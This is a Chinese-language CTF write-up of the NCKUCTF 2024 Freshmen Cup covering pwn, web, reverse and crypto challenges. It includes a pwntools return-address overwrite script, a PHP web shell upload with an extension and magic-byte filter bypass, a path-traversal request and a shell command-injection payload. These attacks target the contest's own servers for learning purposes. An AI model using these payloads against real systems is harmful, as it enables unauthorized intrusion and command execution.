別虐了…
算在每周ctf內,之後應該都把名子改成比賽名稱
共通點應該是都不會有封面
前言 #
比賽剛開就把會的題目就秒殺了 直接衝到第三名
然後再來就開始躺了
❎ 不會解
✅ 懶得解
這次Misc一題都 不會 不敢碰
本次排名 25/106 解出10題
解出 #
Welcome / 競賽規則 #
在ruls的部分最下面有一串base64的東東,丟去解密後就有flag了
flag: NCKUCTF{我會遵守以上規則因為我是好駭客}
Welcome / Discord #
藏在dc 🩸|迎新盃&首殺公告
的頻道主題內
比較機車的點是 基本上要全螢幕才看得到後面的那串描述
flag: NCKUCTF{Welcome to 2024 NCKUCTF Freshmen Cup!}
Welcome / 回饋表單 #
請大家去乖乖填表單 甚至只有27個人解完這題
flag: NCKUCTF{Thanks for your playing, have a nice day!}
Pwn /[新手友善] Overflow Tutorial #
考了 integer overflow
還有overwrite data
的概念 (應該是叫這個沒錯
簡單來講就是整數溢出跟複寫
第二個複寫的部分如果懶得算具體前面要送多少字元的話,可以就直接先無腦噴一堆A,然後再去慢慢縮減就好
payload:
251
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANCKUCTF
flag: NCKUCTF{H0p3_U_LeaRNed_Some_concept_Ab0ut_Sof7w4r3_sEcur1tY_N0w_0a05f6c72945fc781e1a0f5b54dc285a}
Pwn / Every pwner’s first challenge #
透過buffer overflow
來覆蓋 return address 的值,讓他最後變成是回到 call_me function
找 win function 的話可以用 gdb 的 info func
或是 IDA 直接打開看都可以
然後具體前面要先送多少字元才能蓋到 ret address 的話可以透過 pwn tool 的 cyclic ,先多送一大堆值進去,再透過GDB來查看報錯時的 $rsp 內容,最後再透過 cyclic_find("$rsp的值") 即可找出要覆蓋多少
from pwn import *
import sys
import time
context.log_level = "debug"
context.arch = "amd64"
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
if len(sys.argv) == 1:
r = process("./chal")
if args.GDB:
gdb.attach(r, 'b *0x401228')
elif len(sys.argv) == 3:
r = remote(sys.argv[1], sys.argv[2])
else:
print("Usage: python3 {} [GDB | REMOTE_IP PORT]".format(sys.argv[0]))
sys.exit(1)
s = lambda data :r.send(data)
sa = lambda x, y :r.sendafter(x, y)
sl = lambda data :r.sendline(data)
sla = lambda x, y :r.sendlineafter(x, y)
ru = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32 = lambda data,num :u32(r.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(r.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {}'.format(name, addr))
l64 = lambda :u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(r.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
# payload -->
win = 0x401196
# payload= cyclic(100)
payload= cyclic(40) + p64(win)
sla(b"Welcome to NCKUCTF Freshmen cup!\n", payload)
r.interactive()
flag: NCKUCTF{Y0ur_Pwn_J0urn3y_S74rts_FrOM_noW!_19999da0cf8e994642f89c8015ca5d05}
Reverse / ✌️✊✋ #
直接執行就有flag了,本來還以為是題目寫爆了?
flag: NCKUCTF{w0W_yOU_4re_vErY_gooD_47_ROck_PAPeR_5cS50RS!!}
Reverse / Youtube Video Recommendation Tool #
直接strings 查看會輸出的全部yt連接,最後發現其中一個的標題就是flag了
flag: NCKUCTF{w4I7_a_MiNU73_kaITō_kiddOoa4}
Reverse / Baby Python Assembly #
基本上把兩段code都塞給GPT他就會幫你生出原本的list了
謝謝GPT拯救所有懶得看不會組語的我
但最好還是去乖乖看組語啦哈哈
跟GPT的對話過程
flag: NCKUCTF{baby_pyth0N_1s_s0_EzZzzzzZZzzzzzZzzzz_Vincent55_is_so_Electric_OrzZzZZ_a8b40af05731c9612abeec69772de8e8ca8be759000d272e89f9ea5d413b2477}
Web / 好駭客的網站 #
簡單來講就是塞web shell,但聽說是題目出爆了才會被簡單繞過
在上傳圖片的部分先透過 burp suite
攔下發送的封包,送到 repeater 中開始修改
首先會擋掉附檔名為 .php
的內容,但這部分可以變成送 .Php
來繞過
再來是內容部分不能直接放shell code,前面要先加一段允許格式的Magic Numbers來繞過,這邊我是用gif的
再來就到上傳圖片的地方後面的cmd加上想執行的指令就可以了
http://chall.nckuctf.org:29103/uploads/aaaa_test.Php?cmd=塞這邊
payload:
GIF87a <?php system($_GET['cmd']);?>
flag: NCKUCTF{YOu_are_a_g00d_H4cK3r_Just_Lik3_Vincent55_V3ry_N1c3_945dae36ca165274}
Crypto / E? #
一樣是靠GPT拿到的exp 這邊直接套原話
你可以使用 中國餘數定理(CRT) 來解這個問題,前提是這些 e1 和 e2 是互質的。
你有兩個方程式:
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
如果你知道 c1 和 c2 相等,並且知道 e1 和 e2,那麼你可以利用擴展的歐幾里得算法來求解 m。
利用擴展的歐幾里得算法來找到 s1 和 s2,使得:
s1 * e1 + s2 * e2 = 1
根據這個結果,你可以計算出:
m ≡ (pow(c1, s1, n) * pow(c2, s2, n)) % n
這樣就能算出 m 的值。
import math
# 擴展歐幾里得算法
def extended_gcd(a, b):
if b == 0:
return a, 1, 0
gcd, x1, y1 = extended_gcd(b, a % b)
x = y1
y = x1 - (a // b) * y1
return gcd, x, y
# 主要解碼邏輯
def decrypt(c1, c2, e1, e2, n):
gcd, s1, s2 = extended_gcd(e1, e2)
if gcd != 1:
raise ValueError("e1 和 e2 必須互質")
# 如果 s1 是負數,將其轉換為正數
if s1 < 0:
c1 = pow(c1, -s1, n)
c1 = pow(c1, -1, n)
else:
c1 = pow(c1, s1, n)
# 如果 s2 是負數,將其轉換為正數
if s2 < 0:
c2 = pow(c2, -s2, n)
c2 = pow(c2, -1, n)
else:
c2 = pow(c2, s2, n)
# 得到原始的 m
m = (c1 * c2) % n
return m
# 示例
n = 3233 # 一個模數 n
m = 42 # 原始消息
e1 = 3 # 第一個公開指數
e2 = 7 # 第二個公開指數
# 加密得到的密文 c
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
# 用 c1 和 c2 來解密
解密後的_m = decrypt(c1, c2, e1, e2, n)
print(f"解密後的消息 m = {解密後的_m}")
未解出 #
Reverse / 2048?? #
因為不會用dnspy下斷點查看flag的內容,所以最後還是用CE
透過dnspy查看勝利條件後,可以發現最終目標是要出現數字為2486的方塊,但理論上不可能達成,因此
CE 啟動!!
慢慢尋找後會發現它儲存的方法是根據每一格位置來存,不是看自己方塊的數字(?)
例如說左下的格子現在是2,但你把2移走後就會是0
既然找到內存位置後,再來就只需要把它改成2486就可以了
// Token: 0x0600001C RID: 28
public bool checkGoal()
{
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
if (this.iBoard[i][j] == this.goal)
{
return true;
}
}
}
return false;
}
// Token: 0x0400000E RID: 14
private int goal = 2486;
flag: NCKUCTF{WHo_I5_RO63R?}
Web / Just Image #
比賽的時候想不到沒有.要怎麼回到根目錄就沒解出來,結果//就可以了qq
先直接去查看會動的鳥鳥圖片網址,發現最後的格式是base64加密後的,因此我們只需要將目標路徑也base64過後再送過去就好了
http://chall.nckuctf.org:29202/img/Ly9mbGFn 最後再把網站Ctrl+s存下來,在原本的網站讀不出來得原因是因為他不是圖片檔,存成txt之類的就可以了
flag: NCKUCTF{os.path.join can join to root}
Misc / Double Exploit #
很酷的一題,現在才知道原來這些東西都可以撈,喵
原始碼如下
<?php
require "secret.php";
if (isset($_GET['payload'])){
$payload=$_GET['payload'];
if (strlen($payload)>6) die("Bad bad cat");
$result=shell_exec("./pwn_me ".$payload);
if ($result=="Meowing Whale"){
echo $flag;
}
}
highlight_file("index.php");
先查看題目會發現,payload的部分只能輸入6個字元、 最後的result要為"Meowing Whale"
首先能透過http://chall.nckuctf.org:29205/pwn_me
,來下載pwn_me去做分析
透過IDA查看後會發現,輸入的第二字元為#
則會輸出我們要的Meowing
再來透過存取http://chall.nckuctf.org:29205/Dockerfile
,可以發現還可以存取一個叫f
的檔案,一樣把它下載下來,發現執行後就會輸出Whale
東西都找到了,最後就把它們串在一起就可以了 payload=0%23;.%2ff
不知道為甚麼payload直接送 0#;./f
會失敗,要變成送url編碼後的形式才可以
flag: NCKUCTF{my_first_pwn+web+rev_XD}
總結 #
耶寫完了 排版一樣很醜
這次好廢喔 明年還打 好打一直打